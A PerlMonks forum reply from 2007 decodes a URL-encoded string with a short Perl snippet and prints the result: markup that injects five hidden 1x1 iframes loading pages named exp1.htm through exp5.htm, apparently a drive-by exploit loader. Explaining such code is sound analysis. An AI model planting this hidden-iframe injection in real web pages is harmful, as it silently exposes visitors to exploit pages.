Beefy Boxes and Bandwidth Generously Provided by pair Networks
Pathologically Eclectic Rubbish Lister
 
PerlMonks  

Re: perl - me think not!

by imp (Priest)
on Feb 22, 2007 at 14:25 UTC ( #601566=note: print w/ replies, xml ) Need Help??


in reply to perl - me think not!

This is a javascript question, but a pretty easy one. That code is just an obfuscated way of adding a series of 5 iframes. This is typically done to avoid restrictions on characters in form submissions and to avoid popup blockers.

You can decode it like this:

my $txt = "%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%31%2e%68%7 +4%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%2 +2%3e%3c%2f%69%66%72%61%6d%65%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3 +d%22%65%78%70%32%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%6 +5%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a%3c%69%66%7 +2%61%6d%65%20%73%72%63%3d%22%65%78%70%33%2e%68%74%6d%22%20%77%69%64%7 +4%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%6 +1%6d%65%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%34%2e%6 +8%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%3 +1%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a%3c%69%66%72%61%6d%65%20%73%72%6 +3%3d%22%65%78%70%35%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%6 +8%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e"; print chr(hex($_)) for $txt =~ /%([a-z0-9]+)/g;
Output:
<iframe src="exp1.htm" width="1" height="1"></iframe> <iframe src="exp2.htm" width="1" height="1"></iframe> <iframe src="exp3.htm" width="1" height="1"></iframe> <iframe src="exp4.htm" width="1" height="1"></iframe> <iframe src="exp5.htm" width="1" height="1"></iframe>
In the future please use code tags instead of pre tags to format blocks of code, as it handles line wrapping for you.


Comment on Re: perl - me think not!
Select or Download Code

Log In?
Username:
Password:

What's my password?
Create A New User
Node Status?
node history
Node Type: note [id://601566]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others chilling in the Monastery: (4)
As of 2014-12-19 06:37 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    Is guessing a good strategy for surviving in the IT business?





    Results (71 votes), past polls